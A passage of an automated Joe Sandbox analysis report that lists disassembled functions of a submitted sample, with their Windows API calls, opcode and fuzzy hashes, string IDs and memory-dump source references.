                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Internet$CloseConnectHandleOpen
                                                          • String ID:
                                                          • API String ID: 1463438336-0
                                                          • Opcode ID: e1c06f8211fd34a0a473e4d8034e4eccb26b00bbed16925fda7e48439bd0f6c6
                                                          • Instruction ID: a6dac561a530bd017b1b36d1f9c0c881da65f923262a595df189cab9de0a77ff
                                                          • Opcode Fuzzy Hash: e1c06f8211fd34a0a473e4d8034e4eccb26b00bbed16925fda7e48439bd0f6c6
                                                          • Instruction Fuzzy Hash: A621F631200A01BFEB169F60DC01FBABFE9FF88711F14442AF90597550DB71D810A7A4
                                                          Function 00553A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFileAttributesW.KERNEL32(?,0057FAC0), ref: 00553A64
                                                          • GetLastError.KERNEL32 ref: 00553A73
                                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00553A82
                                                          • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0057FAC0), ref: 00553ADF
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectory$AttributesErrorFileLast
                                                          • String ID:
                                                          • API String ID: 2267087916-0
                                                          • Opcode ID: f4c99a87579be38abc2560d38b5cf1698d108b7a738a5fdd98215ab0cf3c4c9b
                                                          • Instruction ID: c6b6d931e32403033cc57a9a09487d7838f6d8bf919ddaf122f1fe6a0784546d
                                                          • Opcode Fuzzy Hash: f4c99a87579be38abc2560d38b5cf1698d108b7a738a5fdd98215ab0cf3c4c9b
                                                          • Instruction Fuzzy Hash: 952191745082059F8300EF28D89186ABBE4FF553A9F144A2EF89DC72A2D7319A4DDB52
                                                          Function 0052171E Relevance: 6.1, APIs: 4, Instructions: 68COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFilePointerEx.KERNEL32(00000000,00000000,00000000,?,00000001,?,?,?,00000000,?,?), ref: 00521758
                                                          • SetFilePointerEx.KERNEL32(00000000,?,?,?,?,?,?), ref: 0052176C
                                                          • GetLastError.KERNEL32(?,?), ref: 00521772
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FilePointer$ErrorLast
                                                          • String ID:
                                                          • API String ID: 142388799-0
                                                          • Opcode ID: 138d0ebd151e5a60d2318d69f3c144ac7641c11d6c934154969f55fb0c7c29e2
                                                          • Instruction ID: 7dc7533d903abe23e6460e0ac601e302a6c3f134a027c48436d967a177c6440c
                                                          • Opcode Fuzzy Hash: 138d0ebd151e5a60d2318d69f3c144ac7641c11d6c934154969f55fb0c7c29e2
                                                          • Instruction Fuzzy Hash: 4C112B72500625AFEB119BA8EC84FFE3B38FF82720F140614F520A71D1DB70E9409764
                                                          Function 00548B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 00548B61
                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00548B73
                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00548B89
                                                          • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00548BA4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID:
                                                          • API String ID: 3850602802-0
                                                          • Opcode ID: f971d15baef5aa7fa507068422a811ef7656f95dfddca7485caffd4dc73d2637
                                                          • Instruction ID: 4bea7d1ff791e9bcd3dfa77e8d40b3445272c1125392589a2cf5c824c40bda9b
                                                          • Opcode Fuzzy Hash: f971d15baef5aa7fa507068422a811ef7656f95dfddca7485caffd4dc73d2637
                                                          • Instruction Fuzzy Hash: 4C110679901218BFEB11DBA5C885EADBBB8FB48710F2040A5EA04B7290DA716E51DB94
                                                          Function 004F1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • DefDlgProcW.USER32(?,00000020,?), ref: 004F12D8
                                                          • GetClientRect.USER32(?,?), ref: 0052B5FB
                                                          • GetCursorPos.USER32(?), ref: 0052B605
                                                          • ScreenToClient.USER32(?,?), ref: 0052B610
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Client$CursorLongProcRectScreenWindow
                                                          • String ID:
                                                          • API String ID: 4127811313-0
                                                          • Opcode ID: 154f3ee1059b9a81661143d522add727ba6f809f145d49c3d8758de7c19140ec
                                                          • Instruction ID: 7d0bf7baa3834d58e4a32dfe85d4a9255aab8c4af0a6ae688c9b75c0d1184f2c
                                                          • Opcode Fuzzy Hash: 154f3ee1059b9a81661143d522add727ba6f809f145d49c3d8758de7c19140ec
                                                          • Instruction Fuzzy Hash: B0113D3560005DEFCB00DF94D8859FE77B8FB15310F510496FA01E7151D734BA55ABA9
                                                          Function 00554A93 Relevance: 6.1, APIs: 4, Instructions: 56synchronizationthreadwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCurrentThreadId.KERNEL32 ref: 00554ABA
                                                          • MessageBoxW.USER32(?,?,?,?), ref: 00554AED
                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00554B03
                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00554B0A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                          • String ID:
                                                          • API String ID: 2880819207-0
                                                          • Opcode ID: ed2b2d56ac8f4b41cc18e163e51ece2ec473c717f2ebc969e768e1d6c1314d85
                                                          • Instruction ID: 1bc855f58d7e2d86b611e5f1ea942fefcbba3aea9698888469fba276e6e736b8
                                                          • Opcode Fuzzy Hash: ed2b2d56ac8f4b41cc18e163e51ece2ec473c717f2ebc969e768e1d6c1314d85
                                                          • Instruction Fuzzy Hash: C6110876905204BBCB008FA8EC08B9B7FACFB55325F14436AFC18D3250D671D9889BA0
                                                          Function 0054D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0054D84D
                                                          • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0054D864
                                                          • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0054D879
                                                          • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0054D897
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Type$Register$FileLoadModuleNameUser
                                                          • String ID:
                                                          • API String ID: 1352324309-0
                                                          • Opcode ID: 01f9e051c388586149996484467da2d86f2cda8e20d77c520cfb2efb3508ad39
                                                          • Instruction ID: 5acd897271ad8b8393945b71704ea1fdc1fb849bfaef17e77abdcc03abd70424
                                                          • Opcode Fuzzy Hash: 01f9e051c388586149996484467da2d86f2cda8e20d77c520cfb2efb3508ad39
                                                          • Instruction Fuzzy Hash: 0F115E75605304DBEB20CF50EC08FA2BBBCFB00B04F108969A51AD6550D7B0E549ABB1
                                                          Function 0057B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetWindowRect.USER32(?,?), ref: 0057B2E4
                                                          • ScreenToClient.USER32(?,?), ref: 0057B2FC
                                                          • ScreenToClient.USER32(?,?), ref: 0057B320
                                                          • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0057B33B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClientRectScreen$InvalidateWindow
                                                          • String ID:
                                                          • API String ID: 357397906-0
                                                          • Opcode ID: 254cd43b1b38c910dfa468a180e677a5aed5fb065ae99d4b140115edd02b9ab3
                                                          • Instruction ID: b5c3aa73caf20cf6917eb33fe46ec55ac9b7988943ca366f91261b946964075c
                                                          • Opcode Fuzzy Hash: 254cd43b1b38c910dfa468a180e677a5aed5fb065ae99d4b140115edd02b9ab3
                                                          • Instruction Fuzzy Hash: 1D114775D00209EFDB41DF99D844AEEBBF5FF18310F108166E914E3220D735AA559F51
                                                          Function 004F2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetSysColor.USER32(00000008), ref: 004F2231
                                                          • SetTextColor.GDI32(?,000000FF), ref: 004F223B
                                                          • SetBkMode.GDI32(?,00000001), ref: 004F2250
                                                          • GetStockObject.GDI32(00000005), ref: 004F2258
                                                          • GetWindowDC.USER32(?,00000000), ref: 0052BE83
                                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 0052BE90
                                                          • GetPixel.GDI32(00000000,?,00000000), ref: 0052BEA9
                                                          • GetPixel.GDI32(00000000,00000000,?), ref: 0052BEC2
                                                          • GetPixel.GDI32(00000000,?,?), ref: 0052BEE2
                                                          • ReleaseDC.USER32(?,00000000), ref: 0052BEED
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                          • String ID:
                                                          • API String ID: 1946975507-0
                                                          • Opcode ID: f4b308ebe00135ce8542afa56d9243e61375df24da9bfc5c24d298d22a2a4fcf
                                                          • Instruction ID: a317e1cb878214248b88e0390c7047d5dba43d365f14795ba08bb594c494c9b5
                                                          • Opcode Fuzzy Hash: f4b308ebe00135ce8542afa56d9243e61375df24da9bfc5c24d298d22a2a4fcf
                                                          • Instruction Fuzzy Hash: 3EE03932504244ABEB219F64FC0DBD83F20EB26332F008366FA6D980E187B149C4EB12
                                                          Function 00548712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCurrentThread.KERNEL32 ref: 0054871B
                                                          • OpenThreadToken.ADVAPI32(00000000,?,?,?,005482E6), ref: 00548722
                                                          • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,005482E6), ref: 0054872F
                                                          • OpenProcessToken.ADVAPI32(00000000,?,?,?,005482E6), ref: 00548736
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CurrentOpenProcessThreadToken
                                                          • String ID:
                                                          • API String ID: 3974789173-0
                                                          • Opcode ID: a99e6c8fd408e44a592611ae6ddbd850d53f896eda759c9a8d2e74c820df5fed
                                                          • Instruction ID: 66e6e6f6de1851a49580b56b98f0103d9535aa3e002828b0322e4f0318ad2c2b
                                                          • Opcode Fuzzy Hash: a99e6c8fd408e44a592611ae6ddbd850d53f896eda759c9a8d2e74c820df5fed
                                                          • Instruction Fuzzy Hash: 29E086366152119BDB20DFB17D0CB9A3BACFF60B96F144828B24ACA040DA348489F750
                                                          Function 0055EB23 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 323COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: X
                                                          • API String ID: 0-3081909835
                                                          • Opcode ID: 45a6d42893287e01f7a2d99ac8018048191af6ae2217d855e51851d795d313e9
                                                          • Instruction ID: b130c2376a030ffb4928e3630f28876748863a588081ae5e1432eaa10e5edbef
                                                          • Opcode Fuzzy Hash: 45a6d42893287e01f7a2d99ac8018048191af6ae2217d855e51851d795d313e9
                                                          • Instruction Fuzzy Hash: B1C1C4305083459FD718EF24C856E6ABBE4FF85314F00492EF9998B2A2DB74ED49CB46
                                                          Function 0052A8CB Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 211COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 0052AABA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: EnvironmentVariable
                                                          • String ID: {nQ${nQ
                                                          • API String ID: 1431749950-3563604845
                                                          • Opcode ID: 82da9d9fcb28ea7ebd559e74dc94448e9ce1177c9680faedcf199232ec7987e1
                                                          • Instruction ID: dbe0a0763a417f682835a56cadd15d1015e1ce7b18ae752823172017a0d96746
                                                          • Opcode Fuzzy Hash: 82da9d9fcb28ea7ebd559e74dc94448e9ce1177c9680faedcf199232ec7987e1
                                                          • Instruction Fuzzy Hash: 92612872904222AFEB209F25FD457697FA8FF92720F214619E801A71D1EB34DD85CB92
                                                          Function 00502957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Sleep.KERNEL32(00000000), ref: 00502968
                                                          • GlobalMemoryStatusEx.KERNEL32(?), ref: 00502981
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: GlobalMemorySleepStatus
                                                          • String ID: @
                                                          • API String ID: 2783356886-2766056989
                                                          • Opcode ID: 781b0f25a9173c0238e426377c63da8ac9cbaf37f87951a7e9931beb1289e906
                                                          • Instruction ID: 9ee376447d8471ba7663fe328d962bb225cbf9afe7ec6e01e35afdd26f854c60
                                                          • Opcode Fuzzy Hash: 781b0f25a9173c0238e426377c63da8ac9cbaf37f87951a7e9931beb1289e906
                                                          • Instruction Fuzzy Hash: 175159714187489BD720EF11D885BAFBBE8FB85344F42485EF2D8810A1DB34896DCB5A
                                                          Function 00530574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ClearVariant
                                                          • String ID: Dd[$Dd[
                                                          • API String ID: 1473721057-1415906856
                                                          • Opcode ID: a24387a29eb63c335ad8c3223f3c43693dd471271fd30103821bfa1a06e5c233
                                                          • Instruction ID: 813a7ae6af9be23402cfcddeb3d1cc1a0ff16600f3268f6a9c710bedc560db78
                                                          • Opcode Fuzzy Hash: a24387a29eb63c335ad8c3223f3c43693dd471271fd30103821bfa1a06e5c233
                                                          • Instruction Fuzzy Hash: FB5102B86043058FDB50CF18C580A2ABBF1FB99344F54885EEA898B361D339EC95CB46
                                                          Function 00577A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(?,00001132,00000000,?), ref: 00577B61
                                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00577B76
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID: '
                                                          • API String ID: 3850602802-1997036262
                                                          • Opcode ID: 4377f752bc1ac11f1db1f2c376f91bc5e03d5c94c7c7294f92b92f099909f2fc
                                                          • Instruction ID: 6cf5fc39ed605d45fb9a1793c433de351be17eeb2e7851824870770c156a1d57
                                                          • Opcode Fuzzy Hash: 4377f752bc1ac11f1db1f2c376f91bc5e03d5c94c7c7294f92b92f099909f2fc
                                                          • Instruction Fuzzy Hash: D1410A74A0530D9FDB14CF64E981BDABBB5FB08300F10456AE908AB351E770A951DF90
                                                          Function 00576A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DestroyWindow.USER32(?,?,?,?), ref: 00576B17
                                                          • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00576B53
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$DestroyMove
                                                          • String ID: static
                                                          • API String ID: 2139405536-2160076837
                                                          • Opcode ID: 9647d6020e3890f241f505b23b5bad6ee2cd9bb8f91e48945a9ee5d3d64f07a9
                                                          • Instruction ID: ef9b376aad980fb105aab23a66572661565881bbd4187145cbeea8503dadd733
                                                          • Opcode Fuzzy Hash: 9647d6020e3890f241f505b23b5bad6ee2cd9bb8f91e48945a9ee5d3d64f07a9
                                                          • Instruction Fuzzy Hash: 0C319071210604AEDB14DF65DC40BFB77A9FF48764F10C619F9A9D7190DA34AC81EB60
                                                          Function 005766D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00576761
                                                          • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0057676C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID: Combobox
                                                          • API String ID: 3850602802-2096851135
                                                          • Opcode ID: 29ae47d2f4d76277ea007b50861b32d461969aac51db53bec070525940759fc2
